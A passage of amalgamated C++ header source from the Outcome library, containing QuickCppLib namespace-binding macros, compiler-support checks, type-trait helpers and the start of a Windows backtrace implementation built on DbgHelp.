#define QUICKCPPLIB_TEMPLATE(...) template <__VA_ARGS__
#define QUICKCPPLIB_TREQUIRES(...) , __VA_ARGS__ >
#define QUICKCPPLIB_TEXPR(...) typename = decltype(__VA_ARGS__)
#define QUICKCPPLIB_TPRED(...) typename = std::enable_if_t<__VA_ARGS__>
#define QUICKCPPLIB_REQUIRES(...)
#endif
#endif
#ifndef __cpp_variadic_templates
#error Outcome needs variadic template support in the compiler
#endif
#if __cpp_constexpr < 201304 && _MSC_FULL_VER < 191100000
#error Outcome needs constexpr (C++ 14) support in the compiler
#endif
#ifndef __cpp_variable_templates
#error Outcome needs variable template support in the compiler
#endif
#if !defined(__clang__) && defined(__GNUC__) && __GNUC__ < 6
#error Due to a bug in nested template variables parsing, Outcome does not work on GCCs earlier than v6.
#endif
#ifndef OUTCOME_SYMBOL_VISIBLE
#define OUTCOME_SYMBOL_VISIBLE QUICKCPPLIB_SYMBOL_VISIBLE
#endif
#ifndef OUTCOME_NODISCARD
#define OUTCOME_NODISCARD QUICKCPPLIB_NODISCARD
#endif
#ifndef OUTCOME_THREAD_LOCAL
#define OUTCOME_THREAD_LOCAL QUICKCPPLIB_THREAD_LOCAL
#endif
#ifndef OUTCOME_TEMPLATE
#define OUTCOME_TEMPLATE(...) QUICKCPPLIB_TEMPLATE(__VA_ARGS__)
#endif
#ifndef OUTCOME_TREQUIRES
#define OUTCOME_TREQUIRES(...) QUICKCPPLIB_TREQUIRES(__VA_ARGS__)
#endif
#ifndef OUTCOME_TEXPR
#define OUTCOME_TEXPR(...) QUICKCPPLIB_TEXPR(__VA_ARGS__)
#endif
#ifndef OUTCOME_TPRED
#define OUTCOME_TPRED(...) QUICKCPPLIB_TPRED(__VA_ARGS__)
#endif
#ifndef OUTCOME_REQUIRES
#define OUTCOME_REQUIRES(...) QUICKCPPLIB_REQUIRES(__VA_ARGS__)
#endif
/* Convenience macros for importing local namespace binds
(C) 2014-2017 Niall Douglas <http://www.nedproductions.biz/> (9 commits)
File Created: Aug 2014
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef QUICKCPPLIB_BIND_IMPORT_HPP
#define QUICKCPPLIB_BIND_IMPORT_HPP
/* 2014-10-9 ned: I lost today figuring out the below. I really hate the C preprocessor now.
*
* Anyway, infinity = 8. It's easy to expand below if needed.
*/
#define QUICKCPPLIB_BIND_STRINGIZE(a) #a
#define QUICKCPPLIB_BIND_STRINGIZE2(a) QUICKCPPLIB_BIND_STRINGIZE(a)
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION8(a, b, c, d, e, f, g, h) a##_##b##_##c##_##d##_##e##_##f##_##g##_##h
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION7(a, b, c, d, e, f, g) a##_##b##_##c##_##d##_##e##_##f##_##g
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION6(a, b, c, d, e, f) a##_##b##_##c##_##d##_##e##_##f
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION5(a, b, c, d, e) a##_##b##_##c##_##d##_##e
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION4(a, b, c, d) a##_##b##_##c##_##d
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION3(a, b, c) a##_##b##_##c
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION2(a, b) a##_##b
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION1(a) a
//! Concatenates each parameter with _
#define QUICKCPPLIB_BIND_NAMESPACE_VERSION(...) QUICKCPPLIB_CALL_OVERLOAD(QUICKCPPLIB_BIND_NAMESPACE_VERSION, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_SELECT_2(name, modifier) name
#define QUICKCPPLIB_BIND_NAMESPACE_SELECT2(name, modifier) ::name
#define QUICKCPPLIB_BIND_NAMESPACE_SELECT_1(name) name
#define QUICKCPPLIB_BIND_NAMESPACE_SELECT1(name) ::name
#define QUICKCPPLIB_BIND_NAMESPACE_SELECT_(...) QUICKCPPLIB_CALL_OVERLOAD_(QUICKCPPLIB_BIND_NAMESPACE_SELECT_, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_SELECT(...) QUICKCPPLIB_CALL_OVERLOAD_(QUICKCPPLIB_BIND_NAMESPACE_SELECT, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPAND8(a, b, c, d, e, f, g, h) QUICKCPPLIB_BIND_NAMESPACE_SELECT_ a QUICKCPPLIB_BIND_NAMESPACE_SELECT b QUICKCPPLIB_BIND_NAMESPACE_SELECT c QUICKCPPLIB_BIND_NAMESPACE_SELECT d QUICKCPPLIB_BIND_NAMESPACE_SELECT e QUICKCPPLIB_BIND_NAMESPACE_SELECT f QUICKCPPLIB_BIND_NAMESPACE_SELECT g QUICKCPPLIB_BIND_NAMESPACE_SELECT h
#define QUICKCPPLIB_BIND_NAMESPACE_EXPAND7(a, b, c, d, e, f, g) QUICKCPPLIB_BIND_NAMESPACE_SELECT_ a QUICKCPPLIB_BIND_NAMESPACE_SELECT b QUICKCPPLIB_BIND_NAMESPACE_SELECT c QUICKCPPLIB_BIND_NAMESPACE_SELECT d QUICKCPPLIB_BIND_NAMESPACE_SELECT e QUICKCPPLIB_BIND_NAMESPACE_SELECT f QUICKCPPLIB_BIND_NAMESPACE_SELECT g
#define QUICKCPPLIB_BIND_NAMESPACE_EXPAND6(a, b, c, d, e, f) QUICKCPPLIB_BIND_NAMESPACE_SELECT_ a QUICKCPPLIB_BIND_NAMESPACE_SELECT b QUICKCPPLIB_BIND_NAMESPACE_SELECT c QUICKCPPLIB_BIND_NAMESPACE_SELECT d QUICKCPPLIB_BIND_NAMESPACE_SELECT e QUICKCPPLIB_BIND_NAMESPACE_SELECT f
#define QUICKCPPLIB_BIND_NAMESPACE_EXPAND5(a, b, c, d, e) QUICKCPPLIB_BIND_NAMESPACE_SELECT_ a QUICKCPPLIB_BIND_NAMESPACE_SELECT b QUICKCPPLIB_BIND_NAMESPACE_SELECT c QUICKCPPLIB_BIND_NAMESPACE_SELECT d QUICKCPPLIB_BIND_NAMESPACE_SELECT e
#define QUICKCPPLIB_BIND_NAMESPACE_EXPAND4(a, b, c, d) QUICKCPPLIB_BIND_NAMESPACE_SELECT_ a QUICKCPPLIB_BIND_NAMESPACE_SELECT b QUICKCPPLIB_BIND_NAMESPACE_SELECT c QUICKCPPLIB_BIND_NAMESPACE_SELECT d
#define QUICKCPPLIB_BIND_NAMESPACE_EXPAND3(a, b, c) QUICKCPPLIB_BIND_NAMESPACE_SELECT_ a QUICKCPPLIB_BIND_NAMESPACE_SELECT b QUICKCPPLIB_BIND_NAMESPACE_SELECT c
#define QUICKCPPLIB_BIND_NAMESPACE_EXPAND2(a, b) QUICKCPPLIB_BIND_NAMESPACE_SELECT_ a QUICKCPPLIB_BIND_NAMESPACE_SELECT b
#define QUICKCPPLIB_BIND_NAMESPACE_EXPAND1(a) QUICKCPPLIB_BIND_NAMESPACE_SELECT_ a
//! Expands into a::b::c:: ...
#define QUICKCPPLIB_BIND_NAMESPACE(...) QUICKCPPLIB_CALL_OVERLOAD(QUICKCPPLIB_BIND_NAMESPACE_EXPAND, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT2(name, modifier) modifier namespace name {
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT1(name) namespace name {
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT(...) QUICKCPPLIB_CALL_OVERLOAD_(QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND8(a, b, c, d, e, f, g, h) QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND7(b, c, d, e, f, g, h)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND7(a, b, c, d, e, f, g) QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND6(b, c, d, e, f, g)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND6(a, b, c, d, e, f) QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND5(b, c, d, e, f)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND5(a, b, c, d, e) QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND4(b, c, d, e)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND4(a, b, c, d) QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND3(b, c, d)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND3(a, b, c) QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND2(b, c)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND2(a, b) QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND1(b)
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND1(a) QUICKCPPLIB_BIND_NAMESPACE_BEGIN_NAMESPACE_SELECT a
//! Expands into namespace a { namespace b { namespace c ...
#define QUICKCPPLIB_BIND_NAMESPACE_BEGIN(...) QUICKCPPLIB_CALL_OVERLOAD(QUICKCPPLIB_BIND_NAMESPACE_BEGIN_EXPAND, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT2(name, modifier) modifier namespace name {
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT1(name) export namespace name {
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT(...) QUICKCPPLIB_CALL_OVERLOAD_(QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND8(a, b, c, d, e, f, g, h) QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND7(b, c, d, e, f, g, h)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND7(a, b, c, d, e, f, g) QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND6(b, c, d, e, f, g)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND6(a, b, c, d, e, f) QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND5(b, c, d, e, f)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND5(a, b, c, d, e) QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND4(b, c, d, e)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND4(a, b, c, d) QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND3(b, c, d)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND3(a, b, c) QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND2(b, c)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND2(a, b) QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND1(b)
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND1(a) QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_NAMESPACE_SELECT a
//! Expands into export namespace a { namespace b { namespace c ...
#define QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN(...) QUICKCPPLIB_CALL_OVERLOAD(QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN_EXPAND, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT2(name, modifier) }
#define QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT1(name) }
#define QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT(...) QUICKCPPLIB_CALL_OVERLOAD_(QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT, __VA_ARGS__)
#define QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND8(a, b, c, d, e, f, g, h) QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND7(b, c, d, e, f, g, h)
#define QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND7(a, b, c, d, e, f, g) QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND6(b, c, d, e, f, g)
#define QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND6(a, b, c, d, e, f) QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND5(b, c, d, e, f)
#define QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND5(a, b, c, d, e) QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND4(b, c, d, e)
#define QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND4(a, b, c, d) QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND3(b, c, d)
#define QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND3(a, b, c) QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND2(b, c)
#define QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND2(a, b) QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT a QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND1(b)
#define QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND1(a) QUICKCPPLIB_BIND_NAMESPACE_END_NAMESPACE_SELECT a
//! Expands into } } ...
#define QUICKCPPLIB_BIND_NAMESPACE_END(...) QUICKCPPLIB_CALL_OVERLOAD(QUICKCPPLIB_BIND_NAMESPACE_END_EXPAND, __VA_ARGS__)
//! Expands into a static const char string array used to mark BindLib compatible namespaces
#define QUICKCPPLIB_BIND_DECLARE(decl, desc) static const char *quickcpplib_out[] = {#decl, desc};
#endif
#if defined(OUTCOME_UNSTABLE_VERSION)
// Note the second line of this file must ALWAYS be the git SHA, third line ALWAYS the git SHA update time
#define OUTCOME_PREVIOUS_COMMIT_REF b93403b9a55355b8f6783320c8d2db2c14b3517d
#define OUTCOME_PREVIOUS_COMMIT_DATE "2019-02-28 22:02:20 +00:00"
#define OUTCOME_PREVIOUS_COMMIT_UNIQUE b93403b9
#define OUTCOME_V2 (QUICKCPPLIB_BIND_NAMESPACE_VERSION(outcome_v2, OUTCOME_PREVIOUS_COMMIT_UNIQUE))
#else
#define OUTCOME_V2 (QUICKCPPLIB_BIND_NAMESPACE_VERSION(outcome_v2))
#endif
#if defined(GENERATING_OUTCOME_MODULE_INTERFACE)
#define OUTCOME_V2_NAMESPACE QUICKCPPLIB_BIND_NAMESPACE(OUTCOME_V2)
#define OUTCOME_V2_NAMESPACE_BEGIN QUICKCPPLIB_BIND_NAMESPACE_BEGIN(OUTCOME_V2)
#define OUTCOME_V2_NAMESPACE_EXPORT_BEGIN QUICKCPPLIB_BIND_NAMESPACE_EXPORT_BEGIN(OUTCOME_V2)
#define OUTCOME_V2_NAMESPACE_END QUICKCPPLIB_BIND_NAMESPACE_END(OUTCOME_V2)
#else
#define OUTCOME_V2_NAMESPACE QUICKCPPLIB_BIND_NAMESPACE(OUTCOME_V2)
#define OUTCOME_V2_NAMESPACE_BEGIN QUICKCPPLIB_BIND_NAMESPACE_BEGIN(OUTCOME_V2)
#define OUTCOME_V2_NAMESPACE_EXPORT_BEGIN QUICKCPPLIB_BIND_NAMESPACE_BEGIN(OUTCOME_V2)
#define OUTCOME_V2_NAMESPACE_END QUICKCPPLIB_BIND_NAMESPACE_END(OUTCOME_V2)
#endif
#include <cstdint> // for uint32_t etc
#include <initializer_list>
#include <iosfwd> // for future serialisation
#include <new> // for placement in moves etc
#include <type_traits>
#ifndef OUTCOME_USE_STD_IN_PLACE_TYPE
#if defined(_MSC_VER) && _HAS_CXX17
#define OUTCOME_USE_STD_IN_PLACE_TYPE 1 // MSVC always has std::in_place_type
#elif __cplusplus >= 201700
// libstdc++ before GCC 6 doesn't have it, despite claiming C++ 17 support
#ifdef __has_include
#if !__has_include(<variant>)
#define OUTCOME_USE_STD_IN_PLACE_TYPE 0 // must have it if <variant> is present
#endif
#endif
#ifndef OUTCOME_USE_STD_IN_PLACE_TYPE
#define OUTCOME_USE_STD_IN_PLACE_TYPE 1
#endif
#else
#define OUTCOME_USE_STD_IN_PLACE_TYPE 0
#endif
#endif
#if OUTCOME_USE_STD_IN_PLACE_TYPE
#include <utility> // for in_place_type_t
OUTCOME_V2_NAMESPACE_BEGIN
template <class T> using in_place_type_t = std::in_place_type_t<T>;
using std::in_place_type;
OUTCOME_V2_NAMESPACE_END
#else
OUTCOME_V2_NAMESPACE_BEGIN
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition template <class T> in_place_type_t. Potential doc page: `in_place_type_t<T>`
*/
template <class T> struct in_place_type_t
{
explicit in_place_type_t() = default;
};
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T> constexpr in_place_type_t<T> in_place_type{};
OUTCOME_V2_NAMESPACE_END
#endif
OUTCOME_V2_NAMESPACE_BEGIN
namespace detail
{
// Test if type is an in_place_type_t
template <class T> struct is_in_place_type_t
{
static constexpr bool value = false;
};
template <class U> struct is_in_place_type_t<in_place_type_t<U>>
{
static constexpr bool value = true;
};
// Replace void with constructible void_type
struct empty_type
{
};
struct void_type
{
// We always compare true to another instance of me
constexpr bool operator==(void_type /*unused*/) const noexcept { return true; }
constexpr bool operator!=(void_type /*unused*/) const noexcept { return false; }
};
template <class T> using devoid = std::conditional_t<std::is_void<T>::value, void_type, T>;
template <class Output, class Input> using rebind_type5 = Output;
template <class Output, class Input>
using rebind_type4 = std::conditional_t< //
std::is_volatile<Input>::value, //
std::add_volatile_t<rebind_type5<Output, std::remove_volatile_t<Input>>>, //
rebind_type5<Output, Input>>;
template <class Output, class Input>
using rebind_type3 = std::conditional_t< //
std::is_const<Input>::value, //
std::add_const_t<rebind_type4<Output, std::remove_const_t<Input>>>, //
rebind_type4<Output, Input>>;
template <class Output, class Input>
using rebind_type2 = std::conditional_t< //
std::is_lvalue_reference<Input>::value, //
std::add_lvalue_reference_t<rebind_type3<Output, std::remove_reference_t<Input>>>, //
rebind_type3<Output, Input>>;
template <class Output, class Input>
using rebind_type = std::conditional_t< //
std::is_rvalue_reference<Input>::value, //
std::add_rvalue_reference_t<rebind_type2<Output, std::remove_reference_t<Input>>>, //
rebind_type2<Output, Input>>;
// static_assert(std::is_same_v<rebind_type<int, volatile const double &&>, volatile const int &&>, "");
/* True if type is the same or constructible. Works around a bug where clang + libstdc++
pukes on std::is_constructible<filesystem::path, void> (this bug is fixed upstream).
*/
template <class T, class U> struct _is_explicitly_constructible
{
static constexpr bool value = std::is_constructible<T, U>::value;
};
template <class T> struct _is_explicitly_constructible<T, void>
{
static constexpr bool value = false;
};
template <> struct _is_explicitly_constructible<void, void>
{
static constexpr bool value = false;
};
template <class T, class U> static constexpr bool is_explicitly_constructible = _is_explicitly_constructible<T, U>::value;
template <class T, class U> struct _is_implicitly_constructible
{
static constexpr bool value = std::is_convertible<U, T>::value;
};
template <class T> struct _is_implicitly_constructible<T, void>
{
static constexpr bool value = false;
};
template <> struct _is_implicitly_constructible<void, void>
{
static constexpr bool value = false;
};
template <class T, class U> static constexpr bool is_implicitly_constructible = _is_implicitly_constructible<T, U>::value;
#ifndef OUTCOME_USE_STD_IS_NOTHROW_SWAPPABLE
#if defined(_MSC_VER) && _HAS_CXX17
#define OUTCOME_USE_STD_IS_NOTHROW_SWAPPABLE 1 // MSVC always has std::is_nothrow_swappable
#elif __cplusplus >= 201700
// libstdc++ before GCC 6 doesn't have it, despite claiming C++ 17 support
#ifdef __has_include
#if !__has_include(<variant>)
#define OUTCOME_USE_STD_IS_NOTHROW_SWAPPABLE 0
#endif
#endif
#ifndef OUTCOME_USE_STD_IS_NOTHROW_SWAPPABLE
#define OUTCOME_USE_STD_IS_NOTHROW_SWAPPABLE 1
#endif
#else
#define OUTCOME_USE_STD_IS_NOTHROW_SWAPPABLE 0
#endif
#endif
// True if type is nothrow swappable
#if !0 && OUTCOME_USE_STD_IS_NOTHROW_SWAPPABLE
template <class T> using is_nothrow_swappable = std::is_nothrow_swappable<T>;
#else
namespace _is_nothrow_swappable
{
using namespace std;
template <class T> constexpr inline T &ldeclval();
template <class T, class = void> struct is_nothrow_swappable : std::integral_constant<bool, false>
{
};
template <class T> struct is_nothrow_swappable<T, decltype(swap(ldeclval<T>(), ldeclval<T>()))> : std::integral_constant<bool, noexcept(swap(ldeclval<T>(), ldeclval<T>()))>
{
};
} // namespace _is_nothrow_swappable
template <class T> using is_nothrow_swappable = _is_nothrow_swappable::is_nothrow_swappable<T>;
#endif
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#ifndef OUTCOME_THROW_EXCEPTION
#ifdef __cpp_exceptions
#define OUTCOME_THROW_EXCEPTION(expr) throw expr
#else
#ifdef __ANDROID__
#define OUTCOME_DISABLE_EXECINFO
#endif
#ifndef OUTCOME_DISABLE_EXECINFO
#ifdef _WIN32
/* Implements backtrace() et al from glibc on win64
(C) 2016-2017 Niall Douglas <http://www.nedproductions.biz/> (4 commits)
File Created: Mar 2016
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef BOOST_BINDLIB_EXECINFO_WIN64_H
#define BOOST_BINDLIB_EXECINFO_WIN64_H
#ifndef _WIN32
#error Can only be included on Windows
#endif
#include <sal.h>
#include <stddef.h>
#ifdef QUICKCPPLIB_EXPORTS
#define EXECINFO_DECL extern __declspec(dllexport)
#else
#if defined(__cplusplus) && (!defined(QUICKCPPLIB_HEADERS_ONLY) || QUICKCPPLIB_HEADERS_ONLY == 1) && !0
#define EXECINFO_DECL inline
#else
#define EXECINFO_DECL extern __declspec(dllimport)
#endif
#endif
#ifdef __cplusplus
extern "C" {
#endif
//! Fill the array of void * at bt with up to len entries, returning entries filled.
EXECINFO_DECL _Check_return_ size_t backtrace(_Out_writes_(len) void **bt, _In_ size_t len);
//! Returns a malloced block of string representations of the input backtrace.
EXECINFO_DECL _Check_return_ _Ret_writes_maybenull_(len) char **backtrace_symbols(_In_reads_(len) void *const *bt, _In_ size_t len);
// extern void backtrace_symbols_fd(void *const *bt, size_t len, int fd);
#ifdef __cplusplus
}
#if (!defined(QUICKCPPLIB_HEADERS_ONLY) || QUICKCPPLIB_HEADERS_ONLY == 1) && !0
#define QUICKCPPLIB_INCLUDED_BY_HEADER 1
/* Implements backtrace() et al from glibc on win64
(C) 2016-2017 Niall Douglas <http://www.nedproductions.biz/> (14 commits)
File Created: Mar 2016
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
/* Implements backtrace() et al from glibc on win64
(C) 2016-2017 Niall Douglas <http://www.nedproductions.biz/> (4 commits)
File Created: Mar 2016
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#include <stdlib.h> // for abort
#include <string.h>
// To avoid including windows.h, this source has been macro expanded and win32 function shimmed for C++ only
#if defined(__cplusplus) && !defined(__clang__)
namespace win32
{
extern "C" __declspec(dllimport) _Ret_maybenull_ void *__stdcall LoadLibraryA(_In_ const char *lpLibFileName);
typedef int(__stdcall *GetProcAddress_returntype)();
extern "C" GetProcAddress_returntype __stdcall GetProcAddress(_In_ void *hModule, _In_ const char *lpProcName);
extern "C" __declspec(dllimport) _Success_(return != 0) unsigned short __stdcall RtlCaptureStackBackTrace(_In_ unsigned long FramesToSkip, _In_ unsigned long FramesToCapture, _Out_writes_to_(FramesToCapture, return ) void **BackTrace, _Out_opt_ unsigned long *BackTraceHash);
extern "C" __declspec(dllimport) _Success_(return != 0)
_When_((cchWideChar == -1) && (cbMultiByte != 0), _Post_equal_to_(_String_length_(lpMultiByteStr) + 1)) int __stdcall WideCharToMultiByte(_In_ unsigned int CodePage, _In_ unsigned long dwFlags, const wchar_t *lpWideCharStr, _In_ int cchWideChar, _Out_writes_bytes_to_opt_(cbMultiByte, return ) char *lpMultiByteStr,
_In_ int cbMultiByte, _In_opt_ const char *lpDefaultChar, _Out_opt_ int *lpUsedDefaultChar);
}
#else
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#ifndef NOMINMAX
#define NOMINMAX
#endif
#include <Windows.h>
#endif
#ifdef __cplusplus
namespace
{
#endif
typedef struct _IMAGEHLP_LINE64
{
unsigned long SizeOfStruct;
void *Key;
unsigned long LineNumber;
wchar_t *FileName;
unsigned long long int Address;
} IMAGEHLP_LINE64, *PIMAGEHLP_LINE64;
typedef int(__stdcall *SymInitialize_t)(_In_ void *hProcess, _In_opt_ const wchar_t *UserSearchPath, _In_ int fInvadeProcess);
typedef int(__stdcall *SymGetLineFromAddr64_t)(_In_ void *hProcess, _In_ unsigned long long int dwAddr, _Out_ unsigned long *pdwDisplacement, _Out_ PIMAGEHLP_LINE64 Line);
#if defined(__cplusplus) && !defined(__clang__)
static void *dbghelp;
#else
static HMODULE dbghelp;
#endif
static SymInitialize_t SymInitialize;
static SymGetLineFromAddr64_t SymGetLineFromAddr64;
static void load_dbghelp()
{
#if defined(__cplusplus) && !defined(__clang__)
using win32::LoadLibraryA;
using win32::GetProcAddress;
#endif
if(dbghelp)
return;
dbghelp = LoadLibraryA("DBGHELP.DLL");
if(dbghelp)
{
SymInitialize = (SymInitialize_t) GetProcAddress(dbghelp, "SymInitializeW");
if(!SymInitialize)
abort();
if(!SymInitialize((void *) (size_t) -1 /*GetCurrentProcess()*/, NULL, 1))
abort();
SymGetLineFromAddr64 = (SymGetLineFromAddr64_t) GetProcAddress(dbghelp, "SymGetLineFromAddrW64");
if(!SymGetLineFromAddr64)
abort();
}
}
#ifdef __cplusplus
}
#endif
#ifdef __cplusplus
extern "C" {
#endif
_Check_return_ size_t backtrace(_Out_writes_(len) void **bt, _In_ size_t len)
{
#if defined(__cplusplus) && !defined(__clang__)
using win32::RtlCaptureStackBackTrace;
#endif
return RtlCaptureStackBackTrace(1, (unsigned long) len, bt, NULL);
}
#ifdef _MSC_VER
#pragma warning(push)
